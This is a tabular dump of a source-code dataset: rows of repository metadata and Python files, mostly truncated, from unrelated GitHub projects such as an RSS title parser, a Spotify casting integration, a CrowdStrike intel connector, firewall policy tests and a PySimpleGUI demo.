blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
4
721
content_id
stringlengths
40
40
detected_licenses
listlengths
0
57
license_type
stringclasses
2 values
repo_name
stringlengths
5
91
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
321 values
visit_date
timestamp[ns]date
2016-08-12 09:31:09
2023-09-06 10:45:07
revision_date
timestamp[ns]date
2010-09-28 14:01:40
2023-09-06 06:22:19
committer_date
timestamp[ns]date
2010-09-28 14:01:40
2023-09-06 06:22:19
github_id
int64
426
681M
star_events_count
int64
101
243k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[ns]date
2012-06-28 18:51:49
2023-09-14 21:59:16
gha_created_at
timestamp[ns]date
2008-02-11 22:55:26
2023-08-10 11:14:58
gha_language
stringclasses
147 values
src_encoding
stringclasses
26 values
language
stringclasses
2 values
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
6
10.2M
extension
stringclasses
115 values
filename
stringlengths
3
113
content
stringlengths
6
10.2M
5700766093188bda70fb80b937f4a2f0dcfe753b
6189f34eff2831e3e727cd7c5e43bc5b591adffc
/WebMirror/management/rss_parser_funcs/feed_parse_extractRufftranslationsWordpressCom.py
5d9ea2e8b9a715ba990d39fad1d2f7114738729f
[ "BSD-3-Clause" ]
permissive
fake-name/ReadableWebProxy
24603660b204a9e7965cfdd4a942ff62d7711e27
ca2e086818433abc08c014dd06bfd22d4985ea2a
refs/heads/master
2023-09-04T03:54:50.043051
2023-08-26T16:08:46
2023-08-26T16:08:46
39,611,770
207
20
BSD-3-Clause
2023-09-11T15:48:15
2015-07-24T04:30:43
Python
UTF-8
Python
false
false
1,766
py
feed_parse_extractRufftranslationsWordpressCom.py
def extractRufftranslationsWordpressCom(item): ''' Parser for 'rufftranslations.wordpress.com' ''' vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title']) if frag and not (chp and vol): chp = frag frag = None if not (chp or vol) or "preview" in item['title'].lower(): return None t...
1a6de196d1846211de58953af3477294f9ca30e3
789e653a9f3c679e02f8f459fb72508aed9537a0
/panaroo/get_neighborhood.py
0e8a892887487fb2676e6eee4d1fb8acf88dc595
[ "MIT" ]
permissive
gtonkinhill/panaroo
3df49a4ba546a83dce9d394ee5b27f89e42566f3
0d96fc77caa4c87f37bf16e13ad0e09b6e371f96
refs/heads/master
2023-07-08T20:49:36.096596
2023-05-10T16:22:13
2023-05-10T16:22:13
162,318,186
184
28
MIT
2023-06-29T16:43:12
2018-12-18T16:43:30
Python
UTF-8
Python
false
false
4,727
py
get_neighborhood.py
import networkx as nx from collections import deque, defaultdict def conv_list(maybe_list): if not isinstance(maybe_list, list): maybe_list = [maybe_list] return (maybe_list) def get_target(g, gene): for n, attr in g.nodes(data=True): if attr["name"] == gene: return n raise...
0575be2ff3ed5e48e60370a1c1f797033ce23814
234d5fc4b0555f54a0ebaa6975c4de555c818308
/custom_components/spotcast/spotcast_controller.py
a79753e25ae7768f43c8178c0da2d2665b4c8105
[ "Apache-2.0" ]
permissive
fondberg/spotcast
62df14a00775404feacf4d62600b36f975bc94a0
d8816cdee4c6d1724b539f69f5bd5057082d7be3
refs/heads/master
2023-04-12T19:13:45.479293
2023-03-19T21:50:24
2023-03-19T21:50:24
183,212,377
564
115
Apache-2.0
2023-09-08T23:00:14
2019-04-24T11:11:28
Python
UTF-8
Python
false
false
13,881
py
spotcast_controller.py
from __future__ import annotations import collections import logging import random import time from asyncio import run_coroutine_threadsafe from requests import TooManyRedirects from collections import OrderedDict from datetime import datetime import homeassistant.core as ha_core import pychromecast import aiohttp im...
b792f5ab574424a49a059dab5b8a12c5cf71a1b2
ab7d5ec2e40b26c33da957210b5d2da77f9b696d
/repos/emily-unstable/contents/make.py
43d1264ceb0f6347bdcd73f46e59d9dbeabd438d
[ "MIT", "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ]
permissive
mcclure/bitbucket-backup
e49d280363ff7ef687f03473e463865a7ad8a817
b6a02ca8decf843fa0a765c842c24e7eccf59307
refs/heads/archive
2023-01-24T21:15:14.875131
2020-02-02T20:56:23
2020-02-02T20:56:23
237,833,969
115
6
null
2023-01-07T14:24:14
2020-02-02T20:43:56
C
UTF-8
Python
false
false
53
py
make.py
#!/usr/bin/python execfile("develop/build/make.py")
e05cdf3f72ac8c2415bf0219331dad1587668259
53c4ec58760768fc9073793cf17cd8c55978c3af
/annotator/openpose/__init__.py
8c26f1b37dae854f51da938da2fa67a8ef48ce5a
[ "Apache-2.0" ]
permissive
HighCWu/ControlLoRA
0b6cab829134ed8377f22800b0e1d648ddf573b0
3b8481950867f61b2cf072b1f156d84f3363ac20
refs/heads/main
2023-08-05T08:51:25.864774
2023-02-28T13:06:24
2023-02-28T13:06:24
603,359,062
421
20
Apache-2.0
2023-08-02T02:14:40
2023-02-18T09:12:15
Python
UTF-8
Python
false
false
1,957
py
__init__.py
import os os.environ["KMP_DUPLICATE_LIB_OK"]="TRUE" import torch import numpy as np from . import util from .body import Body from .hand import Hand from annotator.util import annotator_ckpts_path body_model_path = "https://huggingface.co/lllyasviel/ControlNet/resolve/main/annotator/ckpts/body_pose_model.pth" hand_m...
16e5ef8902364f6612fb6cc1bcc0f7f61a019736
aeef2494b283012ed619870c4275e7d015f4017a
/sdk/python/pulumi_gcp/networksecurity/_inputs.py
2c6eaabc8b00a32bbb9323b88c306e930087f616
[ "BSD-3-Clause", "MPL-2.0", "Apache-2.0" ]
permissive
pulumi/pulumi-gcp
d4fd3f80c3df5290edaf33eb5eafe34e6699d0ff
7deea0a50a4ee5ab7bd722a83eca01707e298f85
refs/heads/master
2023-08-31T07:12:45.921522
2023-08-31T06:16:27
2023-08-31T06:16:27
97,485,806
160
63
Apache-2.0
2023-09-14T19:49:36
2017-07-17T14:28:37
Java
UTF-8
Python
false
false
35,400
py
_inputs.py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload fr...
bca26cdf311b3acbe6491a5907e65e149e26370c
3079a053cf4468d8d8408b77c9b140174c6b2585
/beta_rec/data/deprecated_data_base.py
ed32a7ffb8abcd45d4a1ac548f470e993fc05c9a
[ "MIT" ]
permissive
beta-team/beta-recsys
02609ddd27b76b024b38f2ca202d3595e49d460d
625189d5e1002a3edc27c3e3ce075fddf7ae1c92
refs/heads/master
2023-09-03T11:44:47.171273
2023-08-28T13:33:59
2023-08-28T13:33:59
247,511,463
156
42
MIT
2023-05-22T23:55:46
2020-03-15T17:03:32
Python
UTF-8
Python
false
false
17,680
py
deprecated_data_base.py
import json import os import random from copy import deepcopy import numpy as np import pandas as pd import scipy.sparse as sp import torch from scipy.sparse.linalg import eigsh from torch.utils.data import DataLoader, Dataset from ..utils.common_util import ensureDir, normalized_adj_single from ..utils.constants imp...
1973febd345f63af40483d65c46c5020399d81c9
04142fdda9b3fb29fb7456d5bc3e504985f24cbe
/mmcv/ops/scatter_points.py
5d881bfe63309fb406c123ee69d4e37125f45843
[ "Apache-2.0" ]
permissive
open-mmlab/mmcv
419e301bbc1d7d45331d67eccfd673f290a796d5
6e9ee26718b22961d5c34caca4108413b1b7b3af
refs/heads/main
2023-08-31T07:08:27.223321
2023-08-28T09:02:10
2023-08-28T09:02:10
145,670,155
5,319
1,900
Apache-2.0
2023-09-14T02:37:16
2018-08-22T07:05:26
Python
UTF-8
Python
false
false
5,886
py
scatter_points.py
# Copyright (c) OpenMMLab. All rights reserved. from typing import Any, List, Optional, Tuple import torch import torch.nn.functional as F from torch import nn from torch.autograd import Function from ..utils import ext_loader ext_module = ext_loader.load_ext( '_ext', ['dynamic_point_to_voxel_forward', 'dyna...
d1274119b76521206c53f4d14a8e652501b75a52
a5a99f646e371b45974a6fb6ccc06b0a674818f2
/CalibCalorimetry/CastorCalib/python/CastorDbProducer_cfi.py
6684add760b4c5d63c3d33eb50c749c21e9c4b8d
[ "Apache-2.0" ]
permissive
cms-sw/cmssw
4ecd2c1105d59c66d385551230542c6615b9ab58
19c178740257eb48367778593da55dcad08b7a4f
refs/heads/master
2023-08-23T21:57:42.491143
2023-08-22T20:22:40
2023-08-22T20:22:40
10,969,551
1,006
3,696
Apache-2.0
2023-09-14T19:14:28
2013-06-26T14:09:07
C++
UTF-8
Python
false
false
206
py
CastorDbProducer_cfi.py
import FWCore.ParameterSet.Config as cms CastorDbProducer = cms.ESProducer( "CastorDbProducer", appendToDataLabel = cms.string( "" ) )
9d2f58c08ef7ea1d28cfc8dbef6b870184575f13
e457ef64e939acc769d3b4609184f1603fdd875a
/tests/test_canonical_form.py
24baaf5fa9e140d543601918c21177fe164345ed
[ "Apache-2.0", "MIT" ]
permissive
fastavro/fastavro
dbad8c55fabc9f22b16273ee1a926f22c840c694
40dfd526076446cc7f7eef97e40da216b910d047
refs/heads/master
2023-09-01T04:16:13.510802
2023-08-25T10:19:13
2023-08-25T11:05:36
3,845,895
430
105
MIT
2023-09-14T20:14:34
2012-03-27T16:29:38
Python
UTF-8
Python
false
false
14,428
py
test_canonical_form.py
import pytest from fastavro.schema import to_parsing_canonical_form from fastavro._schema_common import PRIMITIVES @pytest.mark.parametrize( "original_schema,canonical_form", ( [(primitive, f'"{primitive}"') for primitive in PRIMITIVES] + [({"type": primitive}, f'"{primitive}"') for primitive ...
e37202de46648db3c908a958f5dae661d239c1ed
04d9a118a63675c55abe63ccbd8498c6b02f9f80
/Cogs/Spooktober.py
837c66fb00aae7826aa43ce7c14f5c87696a1812
[ "MIT" ]
permissive
corpnewt/CorpBot.py
06bd5ddc47adeecdae3ead6138378f9f88fe2b39
8c7d8fa412bd9728033bf0c5e0916c6ee9e86423
refs/heads/rewrite
2023-08-19T05:20:07.877579
2023-08-16T23:03:15
2023-08-16T23:03:15
68,509,454
393
201
MIT
2022-09-14T17:21:43
2016-09-18T08:59:35
Python
UTF-8
Python
false
false
1,156
py
Spooktober.py
import asyncio, discord, random, re from datetime import datetime from discord.ext import commands from Cogs import Utils def setup(bot): settings = bot.get_cog("Settings") bot.add_cog(Spooktober(bot, settings)) class Spooktober(commands.Cog): def __init__(self, bot, settings): self...
be476df4aac41dcfdbff074a8735f9060f0e0e8d
2a1b8a671aceda6bc446f8ce26400aa84fa444a6
/Packs/CrowdStrikeIntel/Integrations/CrowdStrikeFalconIntel_v2/CrowdStrikeFalconIntel_v2.py
90b3964516b767e86a58c0ac67908432a9870126
[ "MIT" ]
permissive
demisto/content
6d4722d46f0ff0beea2748e9f7de585bf91a78b4
890def5a0e0ae8d6eaa538148249ddbc851dbb6b
refs/heads/master
2023-09-04T00:02:25.618032
2023-09-03T21:56:22
2023-09-03T21:56:22
60,525,392
1,023
1,921
MIT
2023-09-14T20:55:24
2016-06-06T12:17:02
Python
UTF-8
Python
false
false
24,511
py
CrowdStrikeFalconIntel_v2.py
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * from datetime import datetime, timezone from typing import Union, Any, Dict from dateparser import parse import urllib3 import traceback # Disable insecure warnings urllib3.disable_warnings() ''' GLOBAL VARIABLES ''' ...
df968a1d81f0664eb73e4516ccc29408cdff3a17
7dc91600571f5f8985dbc86b3e0396ee681af477
/vgcn_bert/prepare_data.py
6408a379f72e1718a4d66b9c28eb2626bc0b7c63
[ "MIT" ]
permissive
Louis-udm/VGCN-BERT
e27531d37c42740c5172b698474bd1426afddcb6
6d2edd3161f0881d074029e60aaab69b8fc2ca75
refs/heads/master
2023-07-13T03:29:10.130148
2023-07-03T14:43:18
2023-07-03T14:43:18
235,446,882
124
40
MIT
2021-05-04T05:10:20
2020-01-21T21:39:11
Python
UTF-8
Python
false
false
18,368
py
prepare_data.py
# -*- coding: utf-8 -*- # @author Zhibin.LU # @website: https://github.com/Louis-udm """pre-process data and prepare the vocabulary graph""" import argparse import os import pickle as pkl import random import re import sys import time import nltk import numpy as np import pandas as pd import scipy.sparse as sp from...
b0233d3f3c258f3055f9a5d4b537c40b0cc1fd91
ce1c91c33d9b612e97361527e5a974996208c90d
/glue/core/tests/test_data.py
b20382da3f00dae5d13b31aeb53004fa6e91dca8
[ "BSD-3-Clause" ]
permissive
glue-viz/glue
5f52faaf91e1ca4822d3983b6a4b9b60e8807f38
1a5c7676c025a1a025068b806f6f90ed53bba543
refs/heads/main
2023-09-04T09:24:00.519833
2023-08-17T09:40:04
2023-08-17T09:40:04
1,768,238
609
149
NOASSERTION
2023-09-13T20:56:14
2011-05-18T20:58:54
Python
UTF-8
Python
false
false
39,767
py
test_data.py
# pylint: disable=I0011,W0613,W0201,W0212,E1101,E1103,R0903,R0904 import pytest import numpy as np from numpy.testing import assert_equal, assert_allclose from unittest.mock import MagicMock from astropy.utils import NumpyRNGContext from glue import core from ..component import Component, DerivedComponent, Categoric...
c9e9098fd50f2a7982d629874a4cd4f05531a92b
450b551bd5f5c99bcf175ebdd114ecfb55788f3e
/actions/rss.py
5b5ca43ebcc509e6a6da0a415f076970f162c054
[]
no_license
LogicJake/MLCompetitionHub
2482f8ce3ac7eb9d46a5fc62fa92147405cb1561
ab5e68b5aa424b98bd9ea98cf094b35bd12bb49d
refs/heads/master
2023-09-03T17:54:33.843632
2023-09-03T08:01:13
2023-09-03T08:01:13
234,690,463
144
27
null
2023-05-22T22:38:21
2020-01-18T06:10:35
Python
UTF-8
Python
false
false
1,603
py
rss.py
import copy from datetime import datetime, timedelta from xml.sax.saxutils import escape from jinja2 import Environment, PackageLoader STANDARD_TIME_FORMAT = '%Y-%m-%dT%H:%M:%S+08:00' def generate(datas_): datas = copy.deepcopy(datas_) for data in datas: for c in data['competitions']: s...
44407a1ec8d31f1c81dd3a96b91fe7fa904f74d1
6636854f8d55c1cb9dc8d55a9ba4e01d17c360f1
/tika-parsers/tika-parsers-ml/tika-parser-advancedmedia-module/src/main/resources/org/apache/tika/parser/captioning/tf/im2txtapi.py
97f1f2afd642da9589e3c4338e95d2f1a07cad83
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "LicenseRef-scancode-unknown", "EPL-1.0", "ICU", "LicenseRef-scancode-bsd-simplified-darwin", "MPL-2.0", "LicenseRef-scancode-iptc-2006", "LicenseRef-scancode-proprietary-license", "MIT", "NetCDF", "LicenseRef-scancode-public-domai...
permissive
apache/tika
ff4fe69a76a3c84f947223fe9b806045ee693f71
40910015849aba5a57e59ad0f3aeff803744f3ab
refs/heads/main
2023-08-31T11:19:31.578196
2023-08-31T06:12:10
2023-08-31T06:12:10
206,427
1,817
856
Apache-2.0
2023-09-14T19:27:42
2009-05-21T02:12:11
Java
UTF-8
Python
false
false
8,997
py
im2txtapi.py
#!/usr/bin/env python # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the ...
5cf6818f1942ab534fccdcc184ebed86e393ebd8
23d9ddbcb43715b44402961a7131b574624b23f8
/hammer/drc/magic/__init__.py
c14b5ca0935c07e6732220aedad3b96a00f3e366
[ "BSD-3-Clause" ]
permissive
ucb-bar/hammer
d80b96c9d402d8a5c0b780c65de86597d93b4190
46b4e7525d8050904ad71786c57a2593976592a2
refs/heads/master
2023-06-25T15:51:37.728475
2023-06-15T16:15:33
2023-06-15T16:15:33
63,273,685
196
48
BSD-3-Clause
2023-09-08T05:09:48
2016-07-13T19:26:51
Python
UTF-8
Python
false
false
6,551
py
__init__.py
# Magic DRC plugin for Hammer # # See LICENSE for licence details. import os from textwrap import dedent as dd from typing import List, Optional, Dict, Any from hammer.logging import HammerVLSILogging from hammer.utils import deepdict from hammer.vlsi import HammerToolStep from hammer.vlsi import HammerDRCTool, TCLTo...
1f7428c212b6932cabaa6e7c501eec8cc57d0403
cc91a1c30f6c5a176b225bdbf96c7bfd6dfeca52
/scripts/ctsbuild/common.py
2ad5c74a35bcbffdd66b1cb6b3a93b1f7a595aa1
[ "Apache-2.0" ]
permissive
KhronosGroup/VK-GL-CTS
d07b2611dc3a258b5be4ff87c1fe55623f32bac1
a745d5c29c5609cb7805f59444520a7700cf39d1
refs/heads/main
2023-08-31T19:34:48.447202
2023-08-25T13:17:54
2023-08-25T13:17:54
50,466,830
454
267
Apache-2.0
2023-09-02T20:49:14
2016-01-26T23:29:28
C++
UTF-8
Python
false
false
3,310
py
common.py
# -*- coding: utf-8 -*- #------------------------------------------------------------------------- # drawElements Quality Program utilities # -------------------------------------- # # Copyright 2015 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use t...
1d20bad6ea3cdfbcaa6d7ef908b9d1e10e711320
1fbe9c5ff4f12a98e8dc0f213ab75c6c15526797
/baymax/libs/github.py
86cd864f19fd22f8a5bbe7ec53eedd2eac259a13
[]
no_license
no13bus/baymax
347db6e3ace2e8ac862f3660f736e7eb94fb0568
5fa88b5da21542bfacb3013bc1de1c6b9a9edab2
refs/heads/master
2023-09-04T14:47:49.506596
2022-06-13T08:32:15
2022-06-13T08:32:15
27,410,003
401
68
null
2015-05-22T02:51:30
2014-12-02T01:55:00
Python
UTF-8
Python
false
false
1,839
py
github.py
# coding: utf-8 import requests import json import datetime from itertools import groupby API_URL = 'https://api.github.com' class GitHub(object): def __init__(self, token, username): self.token = token self.username = username def get_datas(self): url = '%s/users/%s/eve...
7f8ff177a2acf6b2edb46d514a57516ca09d7a77
fcab2679a5c5030c54bbee10857a64263e8d7b46
/tests/lib/policy_test.py
d550d5d496487fe407eb14ab2db7a8de69200285
[ "Apache-2.0" ]
permissive
google/capirca
38eb9339e565b30667d264e18e9b81ee0ac41d18
d145ca447e0e04895507777b8c5834c22e90df11
refs/heads/master
2023-08-28T02:37:19.814474
2023-08-23T13:59:33
2023-08-23T13:59:33
40,198,544
743
238
Apache-2.0
2023-09-11T20:02:40
2015-08-04T17:25:11
Python
UTF-8
Python
false
false
56,858
py
policy_test.py
# Copyright 2011 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # unless required by applicable law or a...
c6a7c4957faf81805a20631a62743928e06ad448
7e1c4dd6a2cae0597b4f4e961063cf077acdfd4c
/couchbase/tests/durability_t.py
61ed4c43959f463b9ab28fcfbc8fd3e71c11065f
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
couchbase/couchbase-python-client
753fa434db910d175bf9ea53a5829a40ba36e938
c7d80434be3f917d6f25439a918aed30273f63f4
refs/heads/master
2023-08-29T14:04:13.532717
2023-08-24T22:53:30
2023-08-25T03:35:21
2,122,194
223
87
Apache-2.0
2023-05-30T16:05:59
2011-07-29T04:24:46
Python
UTF-8
Python
false
false
18,602
py
durability_t.py
# Copyright 2016-2023. Couchbase, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
8a9ef1646b4d68498b2f2d381cdd5795c07777d7
ee303308d85c28467a7dfe5300951d49a3866fb3
/src/uvm/dap/uvm_set_before_get_dap.py
9e2b607a76e960ab81aa4880c7f87d8d28dbcd0c
[ "Apache-2.0" ]
permissive
tpoikela/uvm-python
3a66a43100a2903f91e0bb73b84c07c1003f7763
fc5f955701b2b56c1fddac195c70cb3ebb9139fe
refs/heads/master
2023-05-02T05:08:00.792132
2023-04-24T16:07:14
2023-04-24T16:07:14
232,838,902
199
43
Apache-2.0
2023-04-24T16:10:44
2020-01-09T15:22:26
Python
UTF-8
Python
false
false
7,255
py
uvm_set_before_get_dap.py
#// #//---------------------------------------------------------------------------- #// Copyright 2007-2011 Mentor Graphics Corporation #// Copyright 2007-2011 Cadence Design Systems, Inc. #// Copyright 2010-2011 Synopsys, Inc. #// Copyright 2013 NVIDIA Corporation #// Copyright 2019 Tuomas Poikela ...
9820d214095e9d359699691b1f74a2f1e46b0d9d
a6f2d143f8301ef0cf2ab2524ed1a7d4115f6da6
/src/pythermalcomfort/utilities.py
d72af05bb2c3f857aa2f6be3714b6c143a52085f
[ "MIT" ]
permissive
CenterForTheBuiltEnvironment/pythermalcomfort
4612fa9803613abd2101636c8e9bcf4b357ab254
8893b04aa06f84809f6f6d8324008cd1978cdd47
refs/heads/master
2023-09-01T02:24:57.594539
2023-07-05T01:39:43
2023-07-05T01:39:43
239,588,350
108
47
MIT
2023-09-14T00:04:01
2020-02-10T18:55:51
Python
UTF-8
Python
false
false
18,833
py
utilities.py
import numpy as np import warnings import math import re from pythermalcomfort.psychrometrics import p_sat, t_o from pythermalcomfort.shared_functions import valid_range warnings.simplefilter("always") def transpose_sharp_altitude(sharp, altitude): altitude_new = math.degrees( math.asin( math...
aae6f836f4e57fcc4ffa604eff70afc99414fd36
da1721d2783ea4d67ff4e73cee6eee71292f2ef7
/toontown/coghq/CogSuitManagerAI.py
37ca35b58eed5d8e03ae814e51c10b2d98d6f3d1
[ "BSD-3-Clause" ]
permissive
open-toontown/open-toontown
bbdeb1b7bf0fb2861eba2df5483738c0112090ca
464c2d45f60551c31397bd03561582804e760b4a
refs/heads/develop
2023-07-07T01:34:31.959657
2023-05-30T23:49:10
2023-05-30T23:49:10
219,221,570
143
104
BSD-3-Clause
2023-09-11T09:52:34
2019-11-02T22:24:38
Python
UTF-8
Python
false
false
708
py
CogSuitManagerAI.py
from otp.ai.AIBaseGlobal import * from direct.directnotify import DirectNotifyGlobal import random from toontown.suit import SuitDNA from . import CogDisguiseGlobals class CogSuitManagerAI: notify = DirectNotifyGlobal.directNotify.newCategory('CogSuitManagerAI') def __init__(self, air): self.air = air...
ccc74d1f443f47c7f6325b76ce811786f347672c
f2034c76a11ce6296131d2bab89a5dae7d59edfe
/python/nano/tutorial/inference/openvino/openvino_inference_sync.py
24180c3f97ab776a2ae30ef5df7b7cbf75fdd38f
[ "Apache-2.0" ]
permissive
intel-analytics/BigDL
e22cd917eecc7340bda3df4356acba0623a62ef6
4ffa012a426e0d16ed13b707b03d8787ddca6aa4
refs/heads/main
2023-08-22T06:31:37.923091
2023-08-22T02:58:42
2023-08-22T02:58:42
66,823,715
4,913
1,327
Apache-2.0
2023-09-14T10:41:50
2016-08-29T07:59:50
Jupyter Notebook
UTF-8
Python
false
false
1,398
py
openvino_inference_sync.py
# # Copyright 2016 The BigDL Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
7b1a2bccb7e723b10b595b3b6386c84b20a466c4
308f5596f1c7d382520cfce13ceaa5dff6f4f783
/hphp/tools/gdb/asio.py
aa1fab6ff030067d50cef8785431fcf3cc474b62
[ "PHP-3.01", "Zend-2.0", "MIT" ]
permissive
facebook/hhvm
7e200a309a1cad5304621b0516f781c689d07a13
d8203129dc7e7bf8639a2b99db596baad3d56b46
refs/heads/master
2023-09-04T04:44:12.892628
2023-09-04T00:43:05
2023-09-04T00:43:05
455,600
10,335
2,326
NOASSERTION
2023-09-14T21:24:04
2010-01-02T01:17:06
C++
UTF-8
Python
false
false
10,864
py
asio.py
#!/usr/bin/env python3 """ GDB commands for asio information and stacktraces. """ from compatibility import * import gdb from itertools import count import re from gdbutils import * from lookup import lookup_func_from_fp import frame import idx from sizeof import sizeof #------------------------------------------...
5b32de04e8a62419416c294cac0e1787d22917cb
ca98f0332b773f9b1982118daf94ba75ffeaa90d
/tests/tensor_ops/test_setitem.py
8cb2ffa666032b402fa9605ad67d9ce3a129c236
[ "MIT" ]
permissive
rsokl/MyGrad
f5b745b26a01ddda4ff6ce279746c47cb2f021cf
133072b526966e235d70bbfcf9eb86d43d0fcfa1
refs/heads/master
2023-07-09T01:20:42.314017
2023-07-03T19:13:30
2023-07-03T19:13:30
97,431,804
186
28
MIT
2023-07-03T19:13:32
2017-07-17T03:31:24
Python
UTF-8
Python
false
false
13,631
py
test_setitem.py
from typing import Callable import hypothesis.extra.numpy as hnp import hypothesis.strategies as st import numpy as np import pytest from hypothesis import assume, given, note, settings from numpy.testing import assert_allclose, assert_array_equal import mygrad as mg from mygrad._tensor_core_ops.indexing import ( ...
08fe92f49972cbee2588fc5676ca295281440676
f80ef3a3cf859b13e8af8433af549b6b1043bf6e
/pyobjc-framework-SyncServices/setup.py
292225ff39d57b0dfa610d569ef6da1b7f829d6b
[ "MIT" ]
permissive
ronaldoussoren/pyobjc
29dc9ca0af838a56105a9ddd62fb38ec415f0b86
77b98382e52818690449111cd2e23cd469b53cf5
refs/heads/master
2023-09-01T05:15:21.814504
2023-06-13T20:00:17
2023-06-13T20:00:17
243,933,900
439
49
null
2023-06-25T02:49:07
2020-02-29T08:43:12
Python
UTF-8
Python
false
false
1,563
py
setup.py
""" Wrappers for the "SyncServices" framework on macOS. Sync Services is a framework containing all the components you need to sync your applications and devices. If your application uses Sync Services, user data can be synced with other applications and devices on the same computer, or other computers over the networ...
8c8498ff8e5aef8971c41f41616dd455acbecb6f
bd2509c33e0336d21013e0cf20d6c1b3a40ac62f
/docs.py
87592fd78fdb7d20a07069f82c27459f3a668ab2
[ "MIT" ]
permissive
alexander-akhmetov/python-shortcuts
ee12e7dbcfbdef7a4d5816fd2fdd3f9771b88120
41e8ea87a0058606052714b9755a4b4f47d3a276
refs/heads/master
2023-07-02T16:23:38.914324
2022-01-02T11:29:49
2022-01-02T11:29:49
150,023,351
660
39
MIT
2023-08-30T01:00:39
2018-09-23T20:35:50
Python
UTF-8
Python
false
false
2,520
py
docs.py
''' Generates documentation for all available actions in the shortcuts.actions module ''' import argparse from shortcuts.actions import actions_registry from shortcuts.actions.base import VariablesField DOC_TEMPLATE = ''' # Supported Actions This is a list of all actions supported by **python-shortcuts**. Legend:...
10907270c790815044f954bfb26c6df232e42d81
d668209e9951d249020765c011a836f193004c01
/tools/pnnx/tests/test_F_grid_sample.py
8cb6d214568c669ba954780f801e8d50bd8df26f
[ "BSD-3-Clause", "Zlib", "BSD-2-Clause" ]
permissive
Tencent/ncnn
d8371746c00439304c279041647362a723330a79
14b000d2b739bd0f169a9ccfeb042da06fa0a84a
refs/heads/master
2023-08-31T14:04:36.635201
2023-08-31T04:19:23
2023-08-31T04:19:23
95,879,426
18,818
4,491
NOASSERTION
2023-09-14T15:44:56
2017-06-30T10:55:37
C++
UTF-8
Python
false
false
4,794
py
test_F_grid_sample.py
# Tencent is pleased to support the open source community by making ncnn available. # # Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); you may not use this file except # in compliance with the License. You may obtain a copy of the...
7c5ea1476d385ed8cdcbf04f187019fb7bf63348
afd2087e80478010d9df66e78280f75e1ff17d45
/tools/stats/upload_artifacts.py
eb0fde7f38ac2904d4ac68f412b4d3e40057bcda
[ "BSD-3-Clause", "BSD-2-Clause", "LicenseRef-scancode-secret-labs-2011", "LicenseRef-scancode-generic-cla", "BSL-1.0", "Apache-2.0" ]
permissive
pytorch/pytorch
7521ac50c47d18b916ae47a6592c4646c2cb69b5
a6f7dd4707ac116c0f5fb5f44f42429f38d23ab4
refs/heads/main
2023-08-03T05:05:02.822937
2023-08-03T00:40:33
2023-08-03T04:14:52
65,600,975
77,092
24,610
NOASSERTION
2023-09-14T21:58:39
2016-08-13T05:26:41
Python
UTF-8
Python
false
false
2,063
py
upload_artifacts.py
import argparse import os import re from tempfile import TemporaryDirectory from tools.stats.upload_stats_lib import download_gha_artifacts, upload_file_to_s3 ARTIFACTS = [ "sccache-stats", "test-jsons", "test-reports", "usage-log", ] BUCKET_NAME = "gha-artifacts" FILENAME_REGEX = r"-runattempt\d+" ...
07a177466c75d8d6a6b997d6e9c9522f381b2d29
07ca66b6bc4d7a94ae78e6c622899458f1bb54fd
/sdk/python/feast/infra/materialization/contrib/bytewax/dataflow.py
e3d95e2a75cdc868ac8abf5a7e6b93ac78bd69fc
[ "Apache-2.0" ]
permissive
feast-dev/feast
8136454dec73275d18133b96f74c3fec8abc57e8
58aff346832ebde1695a47cf724da3d65a4a8c53
refs/heads/master
2023-08-31T03:35:16.188051
2023-08-28T06:25:39
2023-08-28T06:25:39
161,133,770
3,956
754
Apache-2.0
2023-09-14T11:17:15
2018-12-10T07:20:15
Python
UTF-8
Python
false
false
728
py
dataflow.py
import yaml from feast import FeatureStore, RepoConfig from feast.infra.materialization.contrib.bytewax.bytewax_materialization_dataflow import ( BytewaxMaterializationDataflow, ) if __name__ == "__main__": with open("/var/feast/feature_store.yaml") as f: feast_config = yaml.safe_load(f) with...
40f76d884f757668b12521ddf27187a9c0da3a85
55c5e55612f2d04294c02cec728729bdb1b323c8
/xianhuan/pysimplegui/demo.py
2a6d776956a05216a150aaed5f91d7becf169348
[]
no_license
JustDoPython/python-examples
4efc9e3aafd533938b23012dbc72aeb175a87744
d4159751a86b1e9ce7867d0a7f1c12e8b8e0f213
refs/heads/master
2023-03-16T01:34:24.219119
2023-03-08T10:37:33
2023-03-08T10:37:33
249,331,676
423
423
null
2023-02-17T07:49:04
2020-03-23T04:00:26
JavaScript
UTF-8
Python
false
false
576
py
demo.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @author: 闲欢 """ import PySimpleGUI as sg layout = [ [sg.Text('一句话概括Python')], [sg.Input(key='-INPUT111-')], [sg.Input(key='-INPUT222-')], [sg.Button('确认'), sg.Button('取消')], [sg.Text('输出:'), sg.Text(key='-OUTPUT-')] ] window = sg.Window('PySimpleGU...
d18e9d0002b84065c2f6bba5483ece47951cae62
